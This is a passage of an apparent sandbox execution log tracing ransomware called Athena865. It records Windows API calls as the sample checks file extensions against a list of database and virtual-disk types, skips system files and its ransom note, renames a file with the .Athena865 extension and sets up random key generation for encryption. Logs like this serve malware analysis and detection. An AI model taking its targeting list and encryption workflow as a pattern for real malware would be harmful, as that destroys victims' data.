(lpString=".sys") returned 4 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".sys") returned 1 [0152.670] lstrlenW (lpString="APPLAUSE.WAV") returned 12 [0152.670] lstrlenW (lpString="bak") returned 3 [0152.670] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.670] lstrlenW (lpString="ba_") returned 3 [0152.670] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.670] lstrlenW (lpString="dbb") returned 3 [0152.670] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.670] lstrlenW (lpString="vmdk") returned 4 [0152.670] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.671] lstrlenW (lpString="rar") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.671] lstrlenW (lpString="zip") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.671] lstrlenW (lpString="tgz") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.671] lstrlenW (lpString="vbox") returned 4 [0152.671] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.671] lstrlenW (lpString="vdi") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.671] lstrlenW (lpString="vhd") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.671] lstrlenW (lpString="vhdx") returned 4 [0152.671] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.671] lstrlenW (lpString="avhd") returned 4 [0152.671] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.671] lstrlenW (lpString="db") returned 2 [0152.671] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.671] lstrlenW (lpString="db2") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.671] lstrlenW (lpString="db3") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.671] lstrlenW (lpString="dbf") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.671] lstrlenW (lpString="mdf") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.671] lstrlenW (lpString="mdb") returned 3 [0152.671] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.671] lstrlenW (lpString="sql") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.672] lstrlenW (lpString="sqlite") returned 6 [0152.672] lstrcmpiW (lpString1="SE.WAV", lpString2="sqlite") returned -1 [0152.672] lstrlenW (lpString="sqlite3") returned 7 [0152.672] lstrcmpiW (lpString1="USE.WAV", lpString2="sqlite3") returned 1 [0152.672] lstrlenW (lpString="sqlitedb") returned 8 [0152.672] lstrcmpiW (lpString1="AUSE.WAV", lpString2="sqlitedb") returned -1 [0152.672] lstrlenW (lpString="xml") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.672] lstrlenW (lpString="$er") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.672] lstrlenW (lpString="4dd") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.672] lstrlenW (lpString="4dl") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.672] lstrlenW (lpString="^^^") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.672] lstrlenW (lpString="abs") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.672] lstrlenW (lpString="abx") returned 3 [0152.672] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.672] lstrlenW (lpString="accdb") returned 5 [0152.672] lstrcmpiW (lpString1="E.WAV", lpString2="accdb") returned 1 [0152.672] lstrlenW (lpString="accdc") returned 5 [0152.672] lstrcmpiW (lpString1="E.WAV", lpString2="accdc") returned 1 [0152.672] lstrlenW (lpString="accde") returned 5 [0152.672] lstrcmpiW (lpString1="E.WAV", lpString2="accde") returned 1 [0152.672] lstrlenW (lpString="accdr") returned 5 [0152.673] lstrcmpiW (lpString1="E.WAV", lpString2="accdr") returned 1 [0152.673] lstrlenW (lpString="accdt") returned 5 [0152.673] lstrcmpiW (lpString1="E.WAV", lpString2="accdt") returned 1 [0152.673] lstrlenW (lpString="accdw") returned 5 [0152.673] lstrcmpiW (lpString1="E.WAV", lpString2="accdw") returned 1 [0152.673] lstrlenW (lpString="accft") returned 5 [0152.673] lstrcmpiW (lpString1="E.WAV", lpString2="accft") returned 1 [0152.673] lstrlenW (lpString="adb") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.673] lstrlenW (lpString="adb") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.673] lstrlenW (lpString="ade") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.673] lstrlenW (lpString="adf") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.673] lstrlenW (lpString="adn") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.673] lstrlenW (lpString="adp") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.673] lstrlenW (lpString="alf") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.673] lstrlenW (lpString="ask") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.673] lstrlenW (lpString="btr") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.673] lstrlenW (lpString="cat") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.673] lstrlenW (lpString="cdb") returned 3 [0152.673] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.674] lstrlenW (lpString="ckp") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.674] lstrlenW (lpString="cma") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.674] lstrlenW (lpString="cpd") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.674] lstrlenW (lpString="dacpac") returned 6 [0152.674] lstrcmpiW (lpString1="SE.WAV", lpString2="dacpac") returned 1 [0152.674] lstrlenW (lpString="dad") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.674] lstrlenW (lpString="dadiagrams") returned 10 [0152.674] lstrcmpiW (lpString1="PLAUSE.WAV", lpString2="dadiagrams") returned 1 [0152.674] lstrlenW (lpString="daschema") returned 8 [0152.674] lstrcmpiW (lpString1="AUSE.WAV", lpString2="daschema") returned -1 [0152.674] lstrlenW (lpString="db-journal") returned 10 [0152.674] lstrcmpiW (lpString1="PLAUSE.WAV", lpString2="db-journal") returned 1 [0152.674] lstrlenW (lpString="db-shm") returned 6 [0152.674] lstrcmpiW (lpString1="SE.WAV", lpString2="db-shm") returned 1 [0152.674] lstrlenW (lpString="db-wal") returned 6 [0152.674] lstrcmpiW (lpString1="SE.WAV", lpString2="db-wal") returned 1 [0152.674] lstrlenW (lpString="dbc") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.674] lstrlenW (lpString="dbs") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.674] lstrlenW (lpString="dbt") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.674] lstrlenW (lpString="dbv") returned 3 [0152.674] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.674] lstrlenW (lpString="dbx") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.675] lstrlenW (lpString="dcb") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.675] lstrlenW (lpString="dct") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.675] lstrlenW (lpString="dcx") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.675] lstrlenW (lpString="ddl") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.675] lstrlenW (lpString="dlis") returned 4 [0152.675] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.675] lstrlenW (lpString="dp1") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.675] lstrlenW (lpString="dqy") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.675] lstrlenW (lpString="dsk") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.675] lstrlenW (lpString="dsn") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.675] lstrlenW (lpString="dtsx") returned 4 [0152.675] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.675] lstrlenW (lpString="dxl") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.675] lstrlenW (lpString="eco") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.675] lstrlenW (lpString="ecx") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.675] lstrlenW (lpString="edb") returned 3 [0152.675] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.676] lstrlenW (lpString="epim") returned 4 [0152.676] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.676] lstrlenW (lpString="fcd") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.676] lstrlenW (lpString="fdb") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.676] lstrlenW (lpString="fic") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.676] lstrlenW (lpString="flexolibrary") returned 12 [0152.676] lstrlenW (lpString="fm5") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.676] lstrlenW (lpString="fmp") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.676] lstrlenW (lpString="fmp12") returned 5 [0152.676] lstrcmpiW (lpString1="E.WAV", lpString2="fmp12") returned -1 [0152.676] lstrlenW (lpString="fmpsl") returned 5 [0152.676] lstrcmpiW (lpString1="E.WAV", lpString2="fmpsl") returned -1 [0152.676] lstrlenW (lpString="fol") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.676] lstrlenW (lpString="fp3") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.676] lstrlenW (lpString="fp4") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.676] lstrlenW (lpString="fp5") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.676] lstrlenW (lpString="fp7") returned 3 [0152.676] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.676] lstrlenW (lpString="fpt") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.677] lstrlenW (lpString="frm") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.677] lstrlenW (lpString="gdb") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.677] lstrlenW (lpString="gdb") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.677] lstrlenW (lpString="grdb") returned 4 [0152.677] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.677] lstrlenW (lpString="gwi") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.677] lstrlenW (lpString="hdb") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.677] lstrlenW (lpString="his") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.677] lstrlenW (lpString="ib") returned 2 [0152.677] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.677] lstrlenW (lpString="idb") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.677] lstrlenW (lpString="ihx") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.677] lstrlenW (lpString="itdb") returned 4 [0152.677] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.677] lstrlenW (lpString="itw") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.677] lstrlenW (lpString="jet") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.677] lstrlenW (lpString="jtx") returned 3 [0152.677] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.678] lstrlenW (lpString="kdb") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.678] lstrlenW (lpString="kexi") returned 4 [0152.678] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.678] lstrlenW (lpString="kexic") returned 5 [0152.678] lstrcmpiW (lpString1="E.WAV", lpString2="kexic") returned -1 [0152.678] lstrlenW (lpString="kexis") returned 5 [0152.678] lstrcmpiW (lpString1="E.WAV", lpString2="kexis") returned -1 [0152.678] lstrlenW (lpString="lgc") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.678] lstrlenW (lpString="lwx") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.678] lstrlenW (lpString="maf") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.678] lstrlenW (lpString="maq") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.678] lstrlenW (lpString="mar") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.678] lstrlenW (lpString="marshal") returned 7 [0152.678] lstrcmpiW (lpString1="USE.WAV", lpString2="marshal") returned 1 [0152.678] lstrlenW (lpString="mas") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.678] lstrlenW (lpString="mav") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.678] lstrlenW (lpString="maw") returned 3 [0152.678] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.678] lstrlenW (lpString="mdbhtml") returned 7 [0152.678] lstrcmpiW (lpString1="USE.WAV", lpString2="mdbhtml") returned 1 [0152.679] lstrlenW (lpString="mdn") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.679] lstrlenW (lpString="mdt") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.679] lstrlenW (lpString="mfd") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.679] lstrlenW (lpString="mpd") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.679] lstrlenW (lpString="mrg") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.679] lstrlenW (lpString="mud") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.679] lstrlenW (lpString="mwb") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.679] lstrlenW (lpString="myd") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.679] lstrlenW (lpString="ndf") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.679] lstrlenW (lpString="nnt") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.679] lstrlenW (lpString="nrmlib") returned 6 [0152.679] lstrcmpiW (lpString1="SE.WAV", lpString2="nrmlib") returned 1 [0152.679] lstrlenW (lpString="ns2") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.679] lstrlenW (lpString="ns3") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.679] lstrlenW (lpString="ns4") returned 3 [0152.679] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.680] lstrlenW (lpString="nsf") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.680] lstrlenW (lpString="nv") returned 2 [0152.680] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.680] lstrlenW (lpString="nv2") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.680] lstrlenW (lpString="nwdb") returned 4 [0152.680] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.680] lstrlenW (lpString="nyf") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.680] lstrlenW (lpString="odb") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.680] lstrlenW (lpString="odb") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.680] lstrlenW (lpString="oqy") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.680] lstrlenW (lpString="ora") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.680] lstrlenW (lpString="orx") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.680] lstrlenW (lpString="owc") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.680] lstrlenW (lpString="p96") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.680] lstrlenW (lpString="p97") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.680] lstrlenW (lpString="pan") returned 3 [0152.680] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.681] lstrlenW (lpString="pdb") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.681] lstrlenW (lpString="pdm") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.681] lstrlenW (lpString="pnz") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.681] lstrlenW (lpString="qry") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.681] lstrlenW (lpString="qvd") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.681] lstrlenW (lpString="rbf") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.681] lstrlenW (lpString="rctd") returned 4 [0152.681] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.681] lstrlenW (lpString="rod") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.681] lstrlenW (lpString="rodx") returned 4 [0152.681] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.681] lstrlenW (lpString="rpd") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.681] lstrlenW (lpString="rsd") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.681] lstrlenW (lpString="sas7bdat") returned 8 [0152.681] lstrcmpiW (lpString1="AUSE.WAV", lpString2="sas7bdat") returned -1 [0152.681] lstrlenW (lpString="sbf") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.681] lstrlenW (lpString="scx") returned 3 [0152.681] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.681] lstrlenW (lpString="sdb") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.682] lstrlenW (lpString="sdc") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.682] lstrlenW (lpString="sdf") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.682] lstrlenW (lpString="sis") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.682] lstrlenW (lpString="spq") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.682] lstrlenW (lpString="te") returned 2 [0152.682] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.682] lstrlenW (lpString="teacher") returned 7 [0152.682] lstrcmpiW (lpString1="USE.WAV", lpString2="teacher") returned 1 [0152.682] lstrlenW (lpString="tmd") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.682] lstrlenW (lpString="tps") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.682] lstrlenW (lpString="trc") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.682] lstrlenW (lpString="trc") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.682] lstrlenW (lpString="trm") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.682] lstrlenW (lpString="udb") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.682] lstrlenW (lpString="udl") returned 3 [0152.682] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.682] lstrlenW (lpString="usr") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.683] lstrlenW (lpString="v12") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.683] lstrlenW (lpString="vis") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.683] lstrlenW (lpString="vpd") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.683] lstrlenW (lpString="vvv") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.683] lstrlenW (lpString="wdb") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.683] lstrlenW (lpString="wmdb") returned 4 [0152.683] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.683] lstrlenW (lpString="wrk") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.683] lstrlenW (lpString="xdb") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.683] lstrlenW (lpString="xld") returned 3 [0152.683] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.683] lstrlenW (lpString="xmlff") returned 5 [0152.683] lstrcmpiW (lpString1="E.WAV", lpString2="xmlff") returned -1 [0152.683] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.Athena865") returned 71 [0152.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.athena865"), dwFlags=0x1) returned 1 [0152.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.685] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28074) returned 1 [0152.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.686] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.686] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.687] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70b0, lpName=0x0) returned 0x154 [0152.688] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70b0) returned 0x100000 [0152.690] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.691] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.691] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.692] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.692] CloseHandle (hObject=0x154) returned 1 [0152.692] CloseHandle (hObject=0x17c) returned 1 [0152.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.693] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".") returned 1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="..") returned 1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="windows") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="bootmgr") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="temp") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="pagefile.sys") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="boot") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", 